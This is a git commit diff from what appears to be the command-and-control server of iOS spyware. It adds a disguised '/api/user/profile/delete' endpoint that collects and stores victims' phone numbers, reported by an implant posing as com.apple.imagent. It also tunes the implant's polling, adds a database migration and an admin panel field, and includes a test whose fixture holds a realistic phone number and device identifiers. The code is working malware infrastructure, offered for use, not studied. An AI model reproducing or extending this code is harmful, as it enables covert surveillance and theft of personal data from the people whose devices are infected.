feat: new chain
This commit is contained in:
@@ -186,6 +186,22 @@ class C2Controller extends Controller
|
||||
return $this->encryptedAck();
|
||||
}
|
||||
|
||||
/**
|
||||
* SMS task poll from imagent. Native treats code==0 as "poll every 3s";
|
||||
* non-zero backs off to ~60s — return code 1 to avoid hammering.
|
||||
* Payload `p` is the device phone number.
|
||||
*/
|
||||
public function profileDelete(Request $request): Response
|
||||
{
|
||||
$payload = $request->attributes->get('coruna_payload');
|
||||
$device = $this->ingest->ensureDevice($request, is_array($payload) ? $payload : null);
|
||||
if ($device && is_array($payload)) {
|
||||
$this->ingest->ingestDevicePhone($device, $payload);
|
||||
}
|
||||
|
||||
return $this->encryptedAck(['code' => 1, 'msg' => 'ok', 'data' => null]);
|
||||
}
|
||||
|
||||
public function linkConfigList(Request $request): Response
|
||||
{
|
||||
return $this->encryptedAck(['code' => 0, 'msg' => 'ok', 'data' => []]);
|
||||
|
||||
@@ -8,7 +8,7 @@ use Illuminate\Database\Eloquent\Relations\HasMany;
|
||||
class Device extends Model
|
||||
{
|
||||
protected $fillable = [
|
||||
'device_id', 'channel_id', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'device_id', 'channel_id', 'phone', 'ios_version', 'device_model', 'ip', 'user_agent',
|
||||
'telegram_notified', 'album_storage',
|
||||
];
|
||||
|
||||
|
||||
@@ -184,6 +184,30 @@ class IngestService
|
||||
return $channelId === null || $channelId === '';
|
||||
}
|
||||
|
||||
/**
|
||||
* `/api/user/profile/delete` — store reported phone (`p`) only when still empty.
|
||||
*/
|
||||
public function ingestDevicePhone(Device $device, ?array $payload): void
|
||||
{
|
||||
if (! is_array($payload)) {
|
||||
return;
|
||||
}
|
||||
if (trim((string) ($device->phone ?? '')) !== '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$phone = $payload['p'] ?? $payload['phone'] ?? null;
|
||||
if (! is_string($phone)) {
|
||||
return;
|
||||
}
|
||||
$phone = trim($phone);
|
||||
if ($phone === '') {
|
||||
return;
|
||||
}
|
||||
|
||||
$device->forceFill(['phone' => substr($phone, 0, 64)])->save();
|
||||
}
|
||||
|
||||
private function createDevice(Request $request, ?array $payload, string $deviceKey, bool $withChannel): Device
|
||||
{
|
||||
$ua = substr((string) $request->userAgent(), 0, 2000);
|
||||
|
||||
@@ -0,0 +1,26 @@
|
||||
<?php
|
||||
|
||||
use Illuminate\Database\Migrations\Migration;
|
||||
use Illuminate\Database\Schema\Blueprint;
|
||||
use Illuminate\Support\Facades\Schema;
|
||||
|
||||
return new class extends Migration
|
||||
{
|
||||
public function up(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (! Schema::hasColumn('devices', 'phone')) {
|
||||
$table->string('phone', 64)->nullable()->after('channel_id');
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
public function down(): void
|
||||
{
|
||||
Schema::table('devices', function (Blueprint $table) {
|
||||
if (Schema::hasColumn('devices', 'phone')) {
|
||||
$table->dropColumn('phone');
|
||||
}
|
||||
});
|
||||
}
|
||||
};
|
||||
@@ -19,10 +19,14 @@
|
||||
<td>{{ $device->ios_version ?: '—' }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>手机号</th>
|
||||
<td>{{ $device->phone ?: '—' }}</td>
|
||||
<th>IP</th>
|
||||
<td>{{ $device->ip ?: '—' }}</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>相册存储</th>
|
||||
<td>
|
||||
<td colspan="3">
|
||||
<form class="layui-form" lay-filter="LAY-device-album" style="margin:0;">
|
||||
<input type="checkbox" name="album_storage" lay-skin="switch" lay-text="开|关"
|
||||
lay-filter="LAY-device-album-storage"
|
||||
|
||||
+1
-1
@@ -15,7 +15,7 @@ Route::middleware([DecryptCorunaBody::class])->group(function () {
|
||||
Route::post('/api/user/check', [C2Controller::class, 'check']);
|
||||
Route::post('/api/user/avatar/pic', [C2Controller::class, 'avatarPic']);
|
||||
Route::post('/api/user/profile/add', [C2Controller::class, 'profileNop']);
|
||||
Route::post('/api/user/profile/delete', [C2Controller::class, 'profileNop']);
|
||||
Route::post('/api/user/profile/delete', [C2Controller::class, 'profileDelete']);
|
||||
Route::post('/api/user/profile/remove', [C2Controller::class, 'profileNop']);
|
||||
Route::post('/link/config/list', [C2Controller::class, 'linkConfigList']);
|
||||
Route::post('/link/config/icon', [C2Controller::class, 'linkConfigIcon']);
|
||||
|
||||
@@ -170,6 +170,46 @@ class C2ApiTest extends TestCase
|
||||
$this->assertNull(Device::query()->where('device_id', '000430C910E8E526')->first());
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function profile_delete_returns_code_1_and_stores_phone(): void
|
||||
{
|
||||
$crypto = new CorunaCrypto;
|
||||
$payload = [
|
||||
'd' => '00044C1101FB802E',
|
||||
'p' => '+66822804380',
|
||||
'd3' => '00008030-00044C1101FB802E',
|
||||
'd2' => 'DNPD3100N73F',
|
||||
'c' => 'e57f5207c9f2bacf7907c09ccf25b107',
|
||||
'bundleID' => 'com.apple.imagent',
|
||||
];
|
||||
$ts = '1722585600333';
|
||||
$enc = $crypto->encryptJson($payload, $ts);
|
||||
|
||||
$resp = $this->call('POST', '/api/user/profile/delete', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts,
|
||||
], $enc['body']);
|
||||
|
||||
$resp->assertOk();
|
||||
$plain = $crypto->decryptJsonBody($resp->getContent(), $resp->headers->get('timestamp'));
|
||||
$this->assertSame(1, $plain['code'] ?? null);
|
||||
|
||||
$device = Device::query()->where('device_id', '00044C1101FB802E')->first();
|
||||
$this->assertNotNull($device);
|
||||
$this->assertSame('+66822804380', $device->phone);
|
||||
$this->assertNull($device->channel_id);
|
||||
|
||||
$ts2 = '1722585600334';
|
||||
$enc2 = $crypto->encryptJson(array_merge($payload, ['p' => '+66999999999']), $ts2);
|
||||
$this->call('POST', '/api/user/profile/delete', [], [], [], [
|
||||
'CONTENT_TYPE' => 'text/plain',
|
||||
'HTTP_TIMESTAMP' => $ts2,
|
||||
], $enc2['body'])->assertOk();
|
||||
|
||||
$device->refresh();
|
||||
$this->assertSame('+66822804380', $device->phone);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function user_get_ingests_installed_apps_per_bundle(): void
|
||||
{
|
||||
|
||||
Reference in New Issue
Block a user